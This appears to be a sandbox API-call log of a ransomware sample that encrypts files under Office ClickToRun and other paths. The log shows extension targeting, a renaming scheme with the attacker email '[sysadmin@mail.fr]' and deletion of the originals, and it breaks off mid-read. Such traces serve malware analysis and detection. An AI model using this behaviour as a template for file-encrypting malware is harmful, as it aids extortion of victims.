	[0056.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0056.528] lstrlenW (lpString=".doc") returned 4
	[0056.528] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1
	[0056.528] lstrlenW (lpString=".docx") returned 5
	[0056.528] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1
	[0056.528] lstrlenW (lpString=".pdf") returned 4
	[0056.528] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1
	[0056.528] lstrlenW (lpString=".xls") returned 4
	[0056.528] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1
	[0056.528] lstrlenW (lpString=".xlsx") returned 5
	[0056.528] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1
	[0056.529] lstrlenW (lpString=".ppt") returned 4
	[0056.529] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1
	[0056.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0056.529] lstrlenW (lpString=".zip") returned 4
	[0056.529] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1
	[0056.529] lstrlenW (lpString=".rar") returned 4
	[0056.529] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1
	[0056.529] lstrlenW (lpString=".bz2") returned 4
	[0056.529] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1
	[0056.529] lstrlenW (lpString=".7z") returned 3
	[0056.529] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1
	[0056.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0056.529] lstrlenW (lpString=".dbf") returned 4
	[0056.529] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1
	[0056.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0056.529] lstrlenW (lpString=".1cd") returned 4
	[0056.529] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1
	[0056.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0056.529] lstrlenW (lpString=".jpg") returned 4
	[0056.529] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1
	[0056.529] lstrcmpiW (lpString1=".hash", lpString2=".yG") returned -1
	[0056.529] lstrlenW (lpString="i641033.hash") returned 12
	[0056.529] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0056.529] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=102) returned 1
	[0056.529] CloseHandle (hObject=0x360) returned 1
	[0056.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash")) returned 0x20
	[0056.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0056.530] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0056.530] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.530] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.530] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0056.530] GetLastError () returned 0x0
	[0056.530] ReadFile (in: hFile=0x360, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x2fefecc*=0x66, lpOverlapped=0x0) returned 1
	[0056.531] WriteFile (in: hFile=0x334, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x2fefc94*=0x70, lpOverlapped=0x0) returned 1
	[0056.532] ReadFile (in: hFile=0x360, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1
	[0056.532] WriteFile (in: hFile=0x334, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x2fefc94*=0xec, lpOverlapped=0x0) returned 1
	[0056.532] SetEndOfFile (hFile=0x334) returned 1
	[0056.532] CloseHandle (hObject=0x334) returned 1
	[0056.533] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.533] SetEndOfFile (hFile=0x360) returned 1
	[0056.534] CloseHandle (hObject=0x360) returned 1
	[0056.534] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0056.534] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash")) returned 1
	[0056.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0056.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0056.534] lstrlenW (lpString=".doc") returned 4
	[0056.534] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1
	[0056.534] lstrlenW (lpString=".docx") returned 5
	[0056.534] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1
	[0056.534] lstrlenW (lpString=".pdf") returned 4
	[0056.534] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1
	[0056.534] lstrlenW (lpString=".xls") returned 4
	[0056.534] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1
	[0056.534] lstrlenW (lpString=".xlsx") returned 5
	[0056.534] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1
	[0056.534] lstrlenW (lpString=".ppt") returned 4
	[0056.534] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1
	[0056.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0056.534] lstrlenW (lpString=".zip") returned 4
	[0056.534] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1
	[0056.534] lstrlenW (lpString=".rar") returned 4
	[0056.534] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1
	[0056.535] lstrlenW (lpString=".bz2") returned 4
	[0056.535] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1
	[0056.535] lstrlenW (lpString=".7z") returned 3
	[0056.535] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1
	[0056.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0056.535] lstrlenW (lpString=".dbf") returned 4
	[0056.535] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1
	[0056.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0056.535] lstrlenW (lpString=".1cd") returned 4
	[0056.535] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1
	[0056.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0056.535] lstrlenW (lpString=".jpg") returned 4
	[0056.535] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1
	[0056.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0056.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0056.535] lstrlenW (lpString=".doc") returned 4
	[0056.535] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1
	[0056.535] lstrlenW (lpString=".docx") returned 5
	[0056.535] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1
	[0056.535] lstrlenW (lpString=".pdf") returned 4
	[0056.535] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1
	[0056.535] lstrlenW (lpString=".xls") returned 4
	[0056.535] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1
	[0056.535] lstrlenW (lpString=".xlsx") returned 5
	[0056.535] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1
	[0056.535] lstrlenW (lpString=".ppt") returned 4
	[0056.535] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1
	[0056.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0056.535] lstrlenW (lpString=".zip") returned 4
	[0056.535] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1
	[0056.535] lstrlenW (lpString=".rar") returned 4
	[0056.535] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1
	[0056.535] lstrlenW (lpString=".bz2") returned 4
	[0056.535] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1
	[0056.535] lstrlenW (lpString=".7z") returned 3
	[0056.536] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1
	[0056.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0056.536] lstrlenW (lpString=".dbf") returned 4
	[0056.536] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1
	[0056.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0056.536] lstrlenW (lpString=".1cd") returned 4
	[0056.536] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1
	[0056.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0056.536] lstrlenW (lpString=".jpg") returned 4
	[0056.536] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1
	[0056.536] lstrcmpiW (lpString1=".exe", lpString2=".yG") returned -1
	[0056.536] lstrlenW (lpString="IntegratedOffice.exe") returned 20
	[0056.536] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0056.536] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=1093248) returned 1
	[0056.536] CloseHandle (hObject=0x360) returned 1
	[0056.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe")) returned 0x20
	[0056.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0056.536] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0056.536] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.537] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.537] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0056.537] GetLastError () returned 0x0
	[0056.537] ReadFile (in: hFile=0x360, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x2fefecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0057.072] WriteFile (in: hFile=0x334, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x2fefc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0057.086] ReadFile (in: hFile=0x360, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x2fefecc*=0xae90, lpOverlapped=0x0) returned 1
	[0057.857] WriteFile (in: hFile=0x334, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xaea0, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x2fefc94*=0xaea0, lpOverlapped=0x0) returned 1
	[0057.860] ReadFile (in: hFile=0x360, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1
	[0057.860] WriteFile (in: hFile=0x334, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x2fefc94*=0xfc, lpOverlapped=0x0) returned 1
	[0057.860] SetEndOfFile (hFile=0x334) returned 1
	[0059.089] CloseHandle (hObject=0x334) returned 1
	[0059.207] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1
	[0059.207] SetEndOfFile (hFile=0x360) returned 1
	[0059.208] CloseHandle (hObject=0x360) returned 1
	[0059.208] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0059.208] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe")) returned 1
	[0059.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0059.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0059.208] lstrlenW (lpString=".doc") returned 4
	[0059.208] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0059.208] lstrlenW (lpString=".docx") returned 5
	[0059.208] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1
	[0059.208] lstrlenW (lpString=".pdf") returned 4
	[0059.208] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0059.208] lstrlenW (lpString=".xls") returned 4
	[0059.208] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0059.209] lstrlenW (lpString=".xlsx") returned 5
	[0059.209] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1
	[0059.209] lstrlenW (lpString=".ppt") returned 4
	[0059.209] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0059.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0059.209] lstrlenW (lpString=".zip") returned 4
	[0059.209] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0059.209] lstrlenW (lpString=".rar") returned 4
	[0059.209] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0059.209] lstrlenW (lpString=".bz2") returned 4
	[0059.209] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0059.209] lstrlenW (lpString=".7z") returned 3
	[0059.209] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0059.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0059.209] lstrlenW (lpString=".dbf") returned 4
	[0059.209] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0059.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0059.209] lstrlenW (lpString=".1cd") returned 4
	[0059.209] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0059.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0059.209] lstrlenW (lpString=".jpg") returned 4
	[0059.209] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0059.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0059.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0059.209] lstrlenW (lpString=".doc") returned 4
	[0059.209] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0059.209] lstrlenW (lpString=".docx") returned 5
	[0059.209] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1
	[0059.209] lstrlenW (lpString=".pdf") returned 4
	[0059.209] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0059.209] lstrlenW (lpString=".xls") returned 4
	[0059.209] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0059.209] lstrlenW (lpString=".xlsx") returned 5
	[0059.209] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1
	[0059.209] lstrlenW (lpString=".ppt") returned 4
	[0059.209] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0059.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0059.209] lstrlenW (lpString=".zip") returned 4
	[0059.210] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0059.210] lstrlenW (lpString=".rar") returned 4
	[0059.210] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0059.210] lstrlenW (lpString=".bz2") returned 4
	[0059.210] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0059.210] lstrlenW (lpString=".7z") returned 3
	[0059.210] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0059.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0059.210] lstrlenW (lpString=".dbf") returned 4
	[0059.210] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0059.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0059.210] lstrlenW (lpString=".1cd") returned 4
	[0059.210] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0059.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0059.210] lstrlenW (lpString=".jpg") returned 4
	[0059.210] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0059.210] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0059.210] lstrlenW (lpString="ucrtbase.dll") returned 12
	[0059.210] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0060.542] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=982720) returned 1
	[0060.542] CloseHandle (hObject=0x384) returned 1
	[0060.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll")) returned 0x20
	[0060.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0060.542] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0060.542] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.542] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.542] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0060.769] GetLastError () returned 0x0
	[0060.769] ReadFile (hFile=0x384, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0) 

Thread:
	id = 15
	os_tid = 0xd04

	[0039.979] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10000) returned 0x3b64e18
	[0039.980] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10000) returned 0x3b74e20
	[0039.980] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6a9fc0
	[0039.980] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x6) returned 0x6eeac0
	[0039.980] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6aa0b0
	[0039.980] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x100000) returned 0x3e43020
	[0039.982] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6a9f60
	[0039.982] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6a9f60, Size=0x20) returned 0x68f8f0
	[0039.982] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6a9f60
	[0039.982] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6a9f60, Size=0x20) returned 0x68f918
	[0039.982] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000
	[0039.982] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30
	[0039.982] Wow64DisableWow64FsRedirection (in: OldValue=0x312ff50 | out: OldValue=0x312ff50*=0x0) returned 1
	[0039.982] lstrlenW (lpString="kernel32.dll") returned 12
	[0039.982] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x68f8f0 | out: hHeap=0x650000) returned 1
	[0039.983] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0039.983] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x68f918 | out: hHeap=0x650000) returned 1
	[0039.983] Sleep (dwMilliseconds=0x64) 
	[0040.122] Sleep (dwMilliseconds=0x64) 
	[0040.299] Sleep (dwMilliseconds=0x64) 
	[0040.412] Sleep (dwMilliseconds=0x64) 
	[0040.521] Sleep (dwMilliseconds=0x64) 
	[0040.691] Sleep (dwMilliseconds=0x64) 
	[0040.910] Sleep (dwMilliseconds=0x64) 
	[0041.241] lstrcmpiW (lpString1=".cmd", lpString2=".yG") returned -1
	[0041.241] lstrlenW (lpString="SetupComplete.cmd") returned 17
	[0041.241] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0041.482] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=307) returned 1
	[0041.482] CloseHandle (hObject=0x2f0) returned 1
	[0041.482] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd")) returned 0x20
	[0041.482] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0041.482] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0041.482] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.482] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.483] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0041.484] GetLastError () returned 0x0
